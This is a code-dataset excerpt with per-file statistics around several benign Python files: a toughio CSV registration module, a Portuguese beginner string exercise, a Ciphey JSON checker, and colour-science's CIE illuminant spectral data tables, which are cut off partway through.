lista(lista1).tamaño() | 22.181818 | 43 | 0.561475 | 39 | 244 | 3.410256 | 0.512821 | 0.300752 | 0.165414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043716 | 0.25 | 244 | 11 | 44 | 22.181818 | 0.68306 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0 | 0 | 0.333333 | 0.222222 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7b5917aab065023a847e54afd5e9a3dbfcdf913 | 143 | py | Python | toughio/_io/output/csv/__init__.py | keurfonluu/ToughMeshio | 9f374f5c72df4d76bf63ae4f87f2f2d4e52c81e0 | [
"BSD-3-Clause-LBNL"
] | 21 | 2020-03-05T20:03:58.000Z | 2022-03-14T23:17:42.000Z | toughio/_io/output/csv/__init__.py | keurfonluu/ToughMeshio | 9f374f5c72df4d76bf63ae4f87f2f2d4e52c81e0 | [
"BSD-3-Clause-LBNL"
] | 60 | 2020-02-14T22:53:01.000Z | 2022-03-26T07:24:19.000Z | toughio/_io/output/csv/__init__.py | keurfonluu/ToughMeshio | 9f374f5c72df4d76bf63ae4f87f2f2d4e52c81e0 | [
"BSD-3-Clause-LBNL"
] | 6 | 2020-02-28T08:15:36.000Z | 2022-03-13T23:26:24.000Z | from .._helpers import register
from ._csv import read, write
__all__ = [
"read",
"write",
]
register("csv", [".csv"], read, write)
| 13 | 38 | 0.615385 | 17 | 143 | 4.823529 | 0.470588 | 0.329268 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20979 | 143 | 10 | 39 | 14.3 | 0.725664 | 0 | 0 | 0 | 0 | 0 | 0.111888 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7cb250e0d45bae405797291c5218a9c2bdeaf3d | 684 | py | Python | Desafios/Mundo 1/ex022.py | lucasllimati/CursoEmVideo | 01d75626baf8b82f141d62f681e55a9bda0099fd | [
"MIT"
] | null | null | null | Desafios/Mundo 1/ex022.py | lucasllimati/CursoEmVideo | 01d75626baf8b82f141d62f681e55a9bda0099fd | [
"MIT"
] | null | null | null | Desafios/Mundo 1/ex022.py | lucasllimati/CursoEmVideo | 01d75626baf8b82f141d62f681e55a9bda0099fd | [
"MIT"
] | null | null | null | # EXERCÍCIO 22
# Crie um programa que leia o nome completo de uma pessoa e mostre:
# O nome com todas as letras maiúsculas e minúsculas.
# Quantas letras ao todo (sem considerar espaços).
# Quantas letras tem o primeiro nome.
#strip - remove espaços desnecessários
nome = str(input('Digite o seu nome completo: ')).strip()
pnome = nome.split()
print('Nome completo: {}'.format(nome).title())
print('Nome nome em maiúsculo é: {}'.format(nome.upper()))
print('Nome nome em minúsculo é: {}'.format(nome.lower()))
print('Seu nome completo possui {} letras'.format(len(nome) - nome.count(' ')))
print('Seu primeiro nome é {} e possui {} letras'.format(pnome[0].upper(), len(pnome[0])))
| 40.235294 | 90 | 0.707602 | 103 | 684 | 4.699029 | 0.495146 | 0.099174 | 0.061983 | 0.061983 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006791 | 0.138889 | 684 | 16 | 91 | 42.75 | 0.814941 | 0.368421 | 0 | 0 | 0 | 0 | 0.417453 | 0 | 0 | 0 | 0 | 0.0625 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.714286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
c7d8beecfc2105f1a3a7f2cf084937801f5eb9e2 | 956 | py | Python | ciphey/basemods/Checkers/format.py | AlexandruValeanu/Ciphey | 58323db4443b0d29d7797dadab88955a02da8812 | [
"MIT"
] | 9,908 | 2020-06-06T01:06:50.000Z | 2022-03-31T21:22:57.000Z | ciphey/basemods/Checkers/format.py | AlexandruValeanu/Ciphey | 58323db4443b0d29d7797dadab88955a02da8812 | [
"MIT"
] | 423 | 2020-05-30T11:44:37.000Z | 2022-03-18T03:15:30.000Z | ciphey/basemods/Checkers/format.py | sthagen/python-ciphey | ba045142ec3b5183c46ff5e241924091f1281033 | [
"MIT"
] | 714 | 2020-06-09T20:24:41.000Z | 2022-03-29T15:28:53.000Z | import json
from typing import Dict, Optional
import logging
from rich.logging import RichHandler
from ciphey.iface import Checker, Config, ParamSpec, T, registry
@registry.register
class JsonChecker(Checker[str]):
"""
This object is effectively a prebuilt quorum (with requirement 1) of common patterns
"""
def check(self, text: T) -> Optional[str]:
logging.debug("Trying json checker")
# https://github.com/Ciphey/Ciphey/issues/389
if text.isdigit():
return None
try:
json.loads(text)
return ""
except ValueError:
return None
def getExpectedRuntime(self, text: T) -> float:
# TODO: actually bench this
return 1e-7 * len(text) # From benchmarks I found online
def __init__(self, config: Config):
super().__init__(config)
@staticmethod
def getParams() -> Optional[Dict[str, ParamSpec]]:
pass
| 23.9 | 88 | 0.633891 | 111 | 956 | 5.387387 | 0.621622 | 0.026756 | 0.0301 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008608 | 0.270921 | 956 | 39 | 89 | 24.512821 | 0.849354 | 0.194561 | 0 | 0.086957 | 0 | 0 | 0.025266 | 0 | 0 | 0 | 0 | 0.025641 | 0 | 1 | 0.173913 | false | 0.043478 | 0.217391 | 0.043478 | 0.608696 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c7d92fa5c1230715f8a7253b3eb522d1492661ee | 78,164 | py | Python | colour/colorimetry/datasets/illuminants/sds.py | MaxSchambach/colour | 3f3685d616fda4be58cec20bc1e16194805d7e2d | [
"BSD-3-Clause"
] | null | null | null | colour/colorimetry/datasets/illuminants/sds.py | MaxSchambach/colour | 3f3685d616fda4be58cec20bc1e16194805d7e2d | [
"BSD-3-Clause"
] | null | null | null | colour/colorimetry/datasets/illuminants/sds.py | MaxSchambach/colour | 3f3685d616fda4be58cec20bc1e16194805d7e2d | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Illuminants Spectral Distributions
==================================
Defines *CIE* illuminants spectral distributions for the
*CIE 1931 2 Degree Standard Observer*.
The *CIE* illuminants data is in the form of a *dict* of
:class:`colour.SpectralDistribution` classes as follows::
{'name': SpectralDistribution, ..., 'name': SpectralDistribution}
The following *CIE* illuminants are available:
- CIE Standard Illuminant A
- CIE Illuminant B
- CIE Illuminant C
- CIE Illuminant D Series (D50, D55, D60, D65, D75)
- CIE Illuminant E
- Illuminants F Series (FL1, FL2, FL3, FL4, FL5, FL6, FL7, FL8, FL9, FL10,
FL11, FL12, FL3.1, FL3.10, FL3.11, FL3.12, FL3.13, FL3.14, FL3.15, FL3.2,
FL3.3, FL3.4, FL3.5, FL3.6, FL3.7, FL3.8, FL3.9)
- High Pressure Discharge Lamps (HP1, HP2, HP3, HP4, HP5)
See Also
--------
`Illuminants Jupyter Notebook
<http://nbviewer.jupyter.org/github/colour-science/colour-notebooks/\
blob/master/notebooks/colorimetry/illuminants.ipynb>`_
Notes
-----
- The spectral distributions are provided at 5 nm interval.
- *CIE Illuminant D Series* *D60* spectral
distribution is calculated using :func:`colour.sd_CIE_illuminant_D_series`
definition.
References
----------
- :cite:`CIEce` : CIE. (2004). CIE 15:2004 Tables Data. Retrieved from
https://law.resource.org/pub/us/cfr/ibr/003/cie.15.2004.tables.xls
- :cite:`CIEcf` : CIE. (n.d.). CIE Spectral Data. Retrieved from
http://files.cie.co.at/204.xls
"""
from __future__ import division, unicode_literals
from colour.algebra import LinearInterpolator
from colour.colorimetry.spectrum import SpectralDistribution
from colour.utilities import CaseInsensitiveMapping
__author__ = 'Colour Developers'
__copyright__ = 'Copyright (C) 2013-2019 - Colour Developers'
__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'
__maintainer__ = 'Colour Developers'
__email__ = 'colour-developers@colour-science.org'
__status__ = 'Production'
__all__ = ['ILLUMINANTS_SDS_DATA', 'ILLUMINANTS_SDS']
ILLUMINANTS_SDS_DATA = {
'A': {
300: 0.930483,
305: 1.128210,
310: 1.357690,
315: 1.622190,
320: 1.925080,
325: 2.269800,
330: 2.659810,
335: 3.098610,
340: 3.589680,
345: 4.136480,
350: 4.742380,
355: 5.410700,
360: 6.144620,
365: 6.947200,
370: 7.821350,
375: 8.769800,
380: 9.795100,
385: 10.899600,
390: 12.085300,
395: 13.354300,
400: 14.708000,
405: 16.148000,
410: 17.675300,
415: 19.290700,
420: 20.995000,
425: 22.788300,
430: 24.670900,
435: 26.642500,
440: 28.702700,
445: 30.850800,
450: 33.085900,
455: 35.406800,
460: 37.812100,
465: 40.300200,
470: 42.869300,
475: 45.517400,
480: 48.242300,
485: 51.041800,
490: 53.913200,
495: 56.853900,
500: 59.861100,
505: 62.932000,
510: 66.063500,
515: 69.252500,
520: 72.495900,
525: 75.790300,
530: 79.132600,
535: 82.519300,
540: 85.947000,
545: 89.412400,
550: 92.912000,
555: 96.442300,
560: 100.000000,
565: 103.582000,
570: 107.184000,
575: 110.803000,
580: 114.436000,
585: 118.080000,
590: 121.731000,
595: 125.386000,
600: 129.043000,
605: 132.697000,
610: 136.346000,
615: 139.988000,
620: 143.618000,
625: 147.235000,
630: 150.836000,
635: 154.418000,
640: 157.979000,
645: 161.516000,
650: 165.028000,
655: 168.510000,
660: 171.963000,
665: 175.383000,
670: 178.769000,
675: 182.118000,
680: 185.429000,
685: 188.701000,
690: 191.931000,
695: 195.118000,
700: 198.261000,
705: 201.359000,
710: 204.409000,
715: 207.411000,
720: 210.365000,
725: 213.268000,
730: 216.120000,
735: 218.920000,
740: 221.667000,
745: 224.361000,
750: 227.000000,
755: 229.585000,
760: 232.115000,
765: 234.589000,
770: 237.008000,
775: 239.370000,
780: 241.675000
},
'B': {
320: 0.02,
325: 0.26,
330: 0.50,
335: 1.45,
340: 2.40,
345: 4.00,
350: 5.60,
355: 7.60,
360: 9.60,
365: 12.40,
370: 15.20,
375: 18.80,
380: 22.40,
385: 26.85,
390: 31.30,
395: 36.18,
400: 41.30,
405: 46.62,
410: 52.10,
415: 57.70,
420: 63.20,
425: 68.37,
430: 73.10,
435: 77.31,
440: 80.80,
445: 83.44,
450: 85.40,
455: 86.88,
460: 88.30,
465: 90.08,
470: 92.00,
475: 93.75,
480: 95.20,
485: 96.23,
490: 96.50,
495: 95.71,
500: 94.20,
505: 92.37,
510: 90.70,
515: 89.95,
520: 89.50,
525: 90.43,
530: 92.20,
535: 94.46,
540: 96.90,
545: 99.16,
550: 101.00,
555: 102.20,
560: 102.80,
565: 102.92,
570: 102.60,
575: 101.90,
580: 101.00,
585: 100.07,
590: 99.20,
595: 98.44,
600: 98.00,
605: 98.08,
610: 98.50,
615: 99.06,
620: 99.70,
625: 100.36,
630: 101.00,
635: 101.56,
640: 102.20,
645: 103.05,
650: 103.90,
655: 104.59,
660: 105.00,
665: 105.08,
670: 104.90,
675: 104.55,
680: 103.90,
685: 102.84,
690: 101.60,
695: 100.38,
700: 99.10,
705: 97.70,
710: 96.20,
715: 94.60,
720: 92.90,
725: 91.10,
730: 89.40,
735: 88.00,
740: 86.90,
745: 85.90,
750: 85.20,
755: 84.80,
760: 84.70,
765: 84.90,
770: 85.40,
775: 86.10,
780: 87.00
},
'C': {
300: 0.00,
305: 0.00,
310: 0.00,
315: 0.00,
320: 0.01,
325: 0.20,
330: 0.40,
335: 1.55,
340: 2.70,
345: 4.85,
350: 7.00,
355: 9.95,
360: 12.90,
365: 17.20,
370: 21.40,
375: 27.50,
380: 33.00,
385: 39.92,
390: 47.40,
395: 55.17,
400: 63.30,
405: 71.81,
410: 80.60,
415: 89.53,
420: 98.10,
425: 105.80,
430: 112.40,
435: 117.75,
440: 121.50,
445: 123.45,
450: 124.00,
455: 123.60,
460: 123.10,
465: 123.30,
470: 123.80,
475: 124.09,
480: 123.90,
485: 122.92,
490: 120.70,
495: 116.90,
500: 112.10,
505: 106.98,
510: 102.30,
515: 98.81,
520: 96.90,
525: 96.78,
530: 98.00,
535: 99.94,
540: 102.10,
545: 103.95,
550: 105.20,
555: 105.67,
560: 105.30,
565: 104.11,
570: 102.30,
575: 100.15,
580: 97.80,
585: 95.43,
590: 93.20,
595: 91.22,
600: 89.70,
605: 88.83,
610: 88.40,
615: 88.19,
620: 88.10,
625: 88.06,
630: 88.00,
635: 87.86,
640: 87.80,
645: 87.99,
650: 88.20,
655: 88.20,
660: 87.90,
665: 87.22,
670: 86.30,
675: 85.30,
680: 84.00,
685: 82.21,
690: 80.20,
695: 78.24,
700: 76.30,
705: 74.36,
710: 72.40,
715: 70.40,
720: 68.30,
725: 66.30,
730: 64.40,
735: 62.80,
740: 61.50,
745: 60.20,
750: 59.20,
755: 58.50,
760: 58.10,
765: 58.00,
770: 58.20,
775: 58.50,
780: 59.10
},
'D50': {
300: 0.019,
305: 1.035,
310: 2.051,
315: 4.914,
320: 7.778,
325: 11.263,
330: 14.748,
335: 16.348,
340: 17.948,
345: 19.479,
350: 21.010,
355: 22.476,
360: 23.942,
365: 25.451,
370: 26.961,
375: 25.724,
380: 24.488,
385: 27.179,
390: 29.871,
395: 39.589,
400: 49.308,
405: 52.910,
410: 56.513,
415: 58.273,
420: 60.034,
425: 58.926,
430: 57.818,
435: 66.321,
440: 74.825,
445: 81.036,
450: 87.247,
455: 88.930,
460: 90.612,
465: 90.990,
470: 91.368,
475: 93.238,
480: 95.109,
485: 93.536,
490: 91.963,
495: 93.843,
500: 95.724,
505: 96.169,
510: 96.613,
515: 96.871,
520: 97.129,
525: 99.614,
530: 102.099,
535: 101.427,
540: 100.755,
545: 101.536,
550: 102.317,
555: 101.159,
560: 100.000,
565: 98.868,
570: 97.735,
575: 98.327,
580: 98.918,
585: 96.208,
590: 93.499,
595: 95.593,
600: 97.688,
605: 98.478,
610: 99.269,
615: 99.155,
620: 99.042,
625: 97.382,
630: 95.722,
635: 97.290,
640: 98.857,
645: 97.262,
650: 95.667,
655: 96.929,
660: 98.190,
665: 100.597,
670: 103.003,
675: 101.068,
680: 99.133,
685: 93.257,
690: 87.381,
695: 89.492,
700: 91.604,
705: 92.246,
710: 92.889,
715: 84.872,
720: 76.854,
725: 81.683,
730: 86.511,
735: 89.546,
740: 92.580,
745: 85.405,
750: 78.230,
755: 67.961,
760: 57.692,
765: 70.307,
770: 82.923,
775: 80.599,
780: 78.274
},
'D55': {
300: 0.024,
305: 1.048,
310: 2.072,
315: 6.648,
320: 11.224,
325: 15.936,
330: 20.647,
335: 22.266,
340: 23.885,
345: 25.851,
350: 27.817,
355: 29.219,
360: 30.621,
365: 32.464,
370: 34.308,
375: 33.446,
380: 32.584,
385: 35.335,
390: 38.087,
395: 49.518,
400: 60.949,
405: 64.751,
410: 68.554,
415: 70.065,
420: 71.577,
425: 69.746,
430: 67.914,
435: 76.760,
440: 85.605,
445: 91.799,
450: 97.993,
455: 99.228,
460: 100.463,
465: 100.188,
470: 99.913,
475: 101.326,
480: 102.739,
485: 100.409,
490: 98.078,
495: 99.379,
500: 100.680,
505: 100.688,
510: 100.695,
515: 100.341,
520: 99.987,
525: 102.098,
530: 104.210,
535: 103.156,
540: 102.102,
545: 102.535,
550: 102.968,
555: 101.484,
560: 100.000,
565: 98.608,
570: 97.216,
575: 97.482,
580: 97.749,
585: 94.590,
590: 91.432,
595: 92.926,
600: 94.419,
605: 94.780,
610: 95.140,
615: 94.680,
620: 94.220,
625: 92.334,
630: 90.448,
635: 91.389,
640: 92.330,
645: 90.592,
650: 88.854,
655: 89.586,
660: 90.317,
665: 92.133,
670: 93.950,
675: 91.953,
680: 89.956,
685: 84.817,
690: 79.677,
695: 81.258,
700: 82.840,
705: 83.842,
710: 84.844,
715: 77.539,
720: 70.235,
725: 74.768,
730: 79.301,
735: 82.147,
740: 84.993,
745: 78.437,
750: 71.880,
755: 62.337,
760: 52.793,
765: 64.360,
770: 75.927,
775: 73.872,
780: 71.818
},
'D60': {
300: 0.029300000000000,
305: 1.289900000000000,
310: 2.550500000000000,
315: 9.041250000000000,
320: 15.532000000000000,
325: 21.966749999999998,
330: 28.401499999999999,
335: 29.958349999999996,
340: 31.515199999999993,
345: 33.784249999999993,
350: 36.053299999999993,
355: 37.231000000000002,
360: 38.408700000000003,
365: 40.673299999999998,
370: 42.937899999999999,
375: 42.088699999999989,
380: 41.239499999999992,
385: 43.844649999999994,
390: 46.449799999999996,
395: 59.301949999999998,
400: 72.154099999999985,
405: 76.222049999999996,
410: 80.289999999999992,
415: 81.534099999999995,
420: 82.778199999999998,
425: 80.177449999999993,
430: 77.576700000000002,
435: 86.598399999999998,
440: 95.620100000000008,
445: 101.762249999999995,
450: 107.904399999999995,
455: 108.711099999999988,
460: 109.517799999999994,
465: 108.622950000000003,
470: 107.728099999999998,
475: 108.691100000000006,
480: 109.654100000000000,
485: 106.669200000000004,
490: 103.684299999999993,
495: 104.449399999999997,
500: 105.214499999999987,
505: 104.814899999999994,
510: 104.415300000000002,
515: 103.469750000000005,
520: 102.524200000000008,
525: 104.290850000000006,
530: 106.057500000000005,
535: 104.685499999999990,
540: 103.313499999999991,
545: 103.426649999999995,
550: 103.539800000000014,
555: 101.769899999999993,
560: 100.000000000000000,
565: 98.375900000000001,
570: 96.751799999999989,
575: 96.731899999999996,
580: 96.712000000000003,
585: 93.295199999999994,
590: 89.878399999999999,
595: 90.907100000000000,
600: 91.935800000000000,
605: 91.975850000000008,
610: 92.015900000000002,
615: 91.284099999999995,
620: 90.552300000000002,
625: 88.488850000000014,
630: 86.425399999999996,
635: 86.933099999999996,
640: 87.440799999999996,
645: 85.631000000000000,
650: 83.821200000000005,
655: 84.180300000000003,
660: 84.539400000000001,
665: 85.911799999999999,
670: 87.284199999999998,
675: 85.272999999999996,
680: 83.261799999999994,
685: 78.628749999999997,
690: 73.995699999999999,
695: 75.204800000000006,
700: 76.413899999999998,
705: 77.643449999999987,
710: 78.873000000000005,
715: 72.098499999999987,
720: 65.323999999999998,
725: 69.635199999999998,
730: 73.946400000000011,
735: 76.652699999999996,
740: 79.358999999999995,
745: 73.262649999999994,
750: 67.166299999999993,
755: 58.165050000000001,
760: 49.163800000000002,
765: 59.950200000000002,
770: 70.736599999999996,
775: 68.878900000000002,
780: 67.021200000000007,
785: 67.522600000000011,
790: 68.024000000000001,
795: 65.439549999999997,
800: 62.855099999999993,
805: 58.865049999999997,
810: 54.875000000000000,
815: 57.786200000000001,
820: 60.697400000000002,
825: 62.226949999999995,
830: 63.756500000000003
},
'D65': {
300: 0.034100,
305: 1.664300,
310: 3.294500,
315: 11.765200,
320: 20.236000,
325: 28.644700,
330: 37.053500,
335: 38.501100,
340: 39.948800,
345: 42.430200,
350: 44.911700,
355: 45.775000,
360: 46.638300,
365: 49.363700,
370: 52.089100,
375: 51.032300,
380: 49.975500,
385: 52.311800,
390: 54.648200,
395: 68.701500,
400: 82.754900,
405: 87.120400,
410: 91.486000,
415: 92.458900,
420: 93.431800,
425: 90.057000,
430: 86.682300,
435: 95.773600,
440: 104.865000,
445: 110.936000,
450: 117.008000,
455: 117.410000,
460: 117.812000,
465: 116.336000,
470: 114.861000,
475: 115.392000,
480: 115.923000,
485: 112.367000,
490: 108.811000,
495: 109.082000,
500: 109.354000,
505: 108.578000,
510: 107.802000,
515: 106.296000,
520: 104.790000,
525: 106.239000,
530: 107.689000,
535: 106.047000,
540: 104.405000,
545: 104.225000,
550: 104.046000,
555: 102.023000,
560: 100.000000,
565: 98.167100,
570: 96.334200,
575: 96.061100,
580: 95.788000,
585: 92.236800,
590: 88.685600,
595: 89.345900,
600: 90.006200,
605: 89.802600,
610: 89.599100,
615: 88.648900,
620: 87.698700,
625: 85.493600,
630: 83.288600,
635: 83.493900,
640: 83.699200,
645: 81.863000,
650: 80.026800,
655: 80.120700,
660: 80.214600,
665: 81.246200,
670: 82.277800,
675: 80.281000,
680: 78.284200,
685: 74.002700,
690: 69.721300,
695: 70.665200,
700: 71.609100,
705: 72.979000,
710: 74.349000,
715: 67.976500,
720: 61.604000,
725: 65.744800,
730: 69.885600,
735: 72.486300,
740: 75.087000,
745: 69.339800,
750: 63.592700,
755: 55.005400,
760: 46.418200,
765: 56.611800,
770: 66.805400,
775: 65.094100,
780: 63.382800
},
'D75': {
300: 0.043,
305: 2.588,
310: 5.133,
315: 17.470,
320: 29.808,
325: 42.369,
330: 54.930,
335: 56.095,
340: 57.259,
345: 60.000,
350: 62.740,
355: 62.861,
360: 62.982,
365: 66.647,
370: 70.312,
375: 68.507,
380: 66.703,
385: 68.333,
390: 69.963,
395: 85.946,
400: 101.929,
405: 106.911,
410: 111.894,
415: 112.346,
420: 112.798,
425: 107.945,
430: 103.092,
435: 112.145,
440: 121.198,
445: 127.104,
450: 133.010,
455: 132.682,
460: 132.355,
465: 129.838,
470: 127.322,
475: 127.061,
480: 126.800,
485: 122.291,
490: 117.783,
495: 117.186,
500: 116.589,
505: 115.146,
510: 113.702,
515: 111.181,
520: 108.659,
525: 109.552,
530: 110.445,
535: 108.367,
540: 106.289,
545: 105.596,
550: 104.904,
555: 102.452,
560: 100.000,
565: 97.808,
570: 95.616,
575: 94.914,
580: 94.213,
585: 90.605,
590: 86.997,
595: 87.112,
600: 87.227,
605: 86.684,
610: 86.140,
615: 84.861,
620: 83.581,
625: 81.164,
630: 78.747,
635: 78.587,
640: 78.428,
645: 76.614,
650: 74.801,
655: 74.562,
660: 74.324,
665: 74.873,
670: 75.422,
675: 73.499,
680: 71.576,
685: 67.714,
690: 63.852,
695: 64.464,
700: 65.076,
705: 66.573,
710: 68.070,
715: 62.256,
720: 56.443,
725: 60.343,
730: 64.242,
735: 66.697,
740: 69.151,
745: 63.890,
750: 58.629,
755: 50.623,
760: 42.617,
765: 51.985,
770: 61.352,
775: 59.838,
780: 58.324
},
'E': {
300: 100.000,
305: 100.000,
310: 100.000,
315: 100.000,
320: 100.000,
325: 100.000,
330: 100.000,
335: 100.000,
340: 100.000,
345: 100.000,
350: 100.000,
355: 100.000,
360: 100.000,
365: 100.000,
370: 100.000,
375: 100.000,
380: 100.000,
385: 100.000,
390: 100.000,
395: 100.000,
400: 100.000,
405: 100.000,
410: 100.000,
415: 100.000,
420: 100.000,
425: 100.000,
430: 100.000,
435: 100.000,
440: 100.000,
445: 100.000,
450: 100.000,
455: 100.000,
460: 100.000,
465: 100.000,
470: 100.000,
475: 100.000,
480: 100.000,
485: 100.000,
490: 100.000,
495: 100.000,
500: 100.000,
505: 100.000,
510: 100.000,
515: 100.000,
520: 100.000,
525: 100.000,
530: 100.000,
535: 100.000,
540: 100.000,
545: 100.000,
550: 100.000,
555: 100.000,
560: 100.000,
565: 100.000,
570: 100.000,
575: 100.000,
580: 100.000,
585: 100.000,
590: 100.000,
595: 100.000,
600: 100.000,
605: 100.000,
610: 100.000,
615: 100.000,
620: 100.000,
625: 100.000,
630: 100.000,
635: 100.000,
640: 100.000,
645: 100.000,
650: 100.000,
655: 100.000,
660: 100.000,
665: 100.000,
670: 100.000,
675: 100.000,
680: 100.000,
685: 100.000,
690: 100.000,
695: 100.000,
700: 100.000,
705: 100.000,
710: 100.000,
715: 100.000,
720: 100.000,
725: 100.000,
730: 100.000,
735: 100.000,
740: 100.000,
745: 100.000,
750: 100.000,
755: 100.000,
760: 100.000,
765: 100.000,
770: 100.000,
775: 100.000,
780: 100.000
},
'FL1': {
380: 1.87,
385: 2.36,
390: 2.94,
395: 3.47,
400: 5.17,
405: 19.49,
410: 6.13,
415: 6.24,
420: 7.01,
425: 7.79,
430: 8.56,
435: 43.67,
440: 16.94,
445: 10.72,
450: 11.35,
455: 11.89,
460: 12.37,
465: 12.75,
470: 13.00,
475: 13.15,
480: 13.23,
485: 13.17,
490: 13.13,
495: 12.85,
500: 12.52,
505: 12.20,
510: 11.83,
515: 11.50,
520: 11.22,
525: 11.05,
530: 11.03,
535: 11.18,
540: 11.53,
545: 27.74,
550: 17.05,
555: 13.55,
560: 14.33,
565: 15.01,
570: 15.52,
575: 18.29,
580: 19.55,
585: 15.48,
590: 14.91,
595: 14.15,
600: 13.22,
605: 12.19,
610: 11.12,
615: 10.03,
620: 8.95,
625: 7.96,
630: 7.02,
635: 6.20,
640: 5.42,
645: 4.73,
650: 4.15,
655: 3.64,
660: 3.20,
665: 2.81,
670: 2.47,
675: 2.18,
680: 1.93,
685: 1.72,
690: 1.67,
695: 1.43,
700: 1.29,
705: 1.19,
710: 1.08,
715: 0.96,
720: 0.88,
725: 0.81,
730: 0.77,
735: 0.75,
740: 0.73,
745: 0.68,
750: 0.69,
755: 0.64,
760: 0.68,
765: 0.69,
770: 0.61,
775: 0.52,
780: 0.43
},
'FL2': {
380: 1.18,
385: 1.48,
390: 1.84,
395: 2.15,
400: 3.44,
405: 15.69,
410: 3.85,
415: 3.74,
420: 4.19,
425: 4.62,
430: 5.06,
435: 34.98,
440: 11.81,
445: 6.27,
450: 6.63,
455: 6.93,
460: 7.19,
465: 7.40,
470: 7.54,
475: 7.62,
480: 7.65,
485: 7.62,
490: 7.62,
495: 7.45,
500: 7.28,
505: 7.15,
510: 7.05,
515: 7.04,
520: 7.16,
525: 7.47,
530: 8.04,
535: 8.88,
540: 10.01,
545: 24.88,
550: 16.64,
555: 14.59,
560: 16.16,
565: 17.56,
570: 18.62,
575: 21.47,
580: 22.79,
585: 19.29,
590: 18.66,
595: 17.73,
600: 16.54,
605: 15.21,
610: 13.80,
615: 12.36,
620: 10.95,
625: 9.65,
630: 8.40,
635: 7.32,
640: 6.31,
645: 5.43,
650: 4.68,
655: 4.02,
660: 3.45,
665: 2.96,
670: 2.55,
675: 2.19,
680: 1.89,
685: 1.64,
690: 1.53,
695: 1.27,
700: 1.10,
705: 0.99,
710: 0.88,
715: 0.76,
720: 0.68,
725: 0.61,
730: 0.56,
735: 0.54,
740: 0.51,
745: 0.47,
750: 0.47,
755: 0.43,
760: 0.46,
765: 0.47,
770: 0.40,
775: 0.33,
780: 0.27
},
'FL3': {
380: 0.82,
385: 1.02,
390: 1.26,
395: 1.44,
400: 2.57,
405: 14.36,
410: 2.70,
415: 2.45,
420: 2.73,
425: 3.00,
430: 3.28,
435: 31.85,
440: 9.47,
445: 4.02,
450: 4.25,
455: 4.44,
460: 4.59,
465: 4.72,
470: 4.80,
475: 4.86,
480: 4.87,
485: 4.85,
490: 4.88,
495: 4.77,
500: 4.67,
505: 4.62,
510: 4.62,
515: 4.73,
520: 4.99,
525: 5.48,
530: 6.25,
535: 7.34,
540: 8.78,
545: 23.82,
550: 16.14,
555: 14.59,
560: 16.63,
565: 18.49,
570: 19.95,
575: 23.11,
580: 24.69,
585: 21.41,
590: 20.85,
595: 19.93,
600: 18.67,
605: 17.22,
610: 15.65,
615: 14.04,
620: 12.45,
625: 10.95,
630: 9.51,
635: 8.27,
640: 7.11,
645: 6.09,
650: 5.22,
655: 4.45,
660: 3.80,
665: 3.23,
670: 2.75,
675: 2.33,
680: 1.99,
685: 1.70,
690: 1.55,
695: 1.27,
700: 1.09,
705: 0.96,
710: 0.83,
715: 0.71,
720: 0.62,
725: 0.54,
730: 0.49,
735: 0.46,
740: 0.43,
745: 0.39,
750: 0.39,
755: 0.35,
760: 0.38,
765: 0.39,
770: 0.33,
775: 0.28,
780: 0.21
},
'FL4': {
380: 0.57,
385: 0.70,
390: 0.87,
395: 0.98,
400: 2.01,
405: 13.75,
410: 1.95,
415: 1.59,
420: 1.76,
425: 1.93,
430: 2.10,
435: 30.28,
440: 8.03,
445: 2.55,
450: 2.70,
455: 2.82,
460: 2.91,
465: 2.99,
470: 3.04,
475: 3.08,
480: 3.09,
485: 3.09,
490: 3.14,
495: 3.06,
500: 3.00,
505: 2.98,
510: 3.01,
515: 3.14,
520: 3.41,
525: 3.90,
530: 4.69,
535: 5.81,
540: 7.32,
545: 22.59,
550: 15.11,
555: 13.88,
560: 16.33,
565: 18.68,
570: 20.64,
575: 24.28,
580: 26.26,
585: 23.28,
590: 22.94,
595: 22.14,
600: 20.91,
605: 19.43,
610: 17.74,
615: 16.00,
620: 14.42,
625: 12.56,
630: 10.93,
635: 9.52,
640: 8.18,
645: 7.01,
650: 6.00,
655: 5.11,
660: 4.36,
665: 3.69,
670: 3.13,
675: 2.64,
680: 2.24,
685: 1.91,
690: 1.70,
695: 1.39,
700: 1.18,
705: 1.03,
710: 0.88,
715: 0.74,
720: 0.64,
725: 0.54,
730: 0.49,
735: 0.46,
740: 0.42,
745: 0.37,
750: 0.37,
755: 0.33,
760: 0.35,
765: 0.36,
770: 0.31,
775: 0.26,
780: 0.19
},
'FL5': {
380: 1.87,
385: 2.35,
390: 2.92,
395: 3.45,
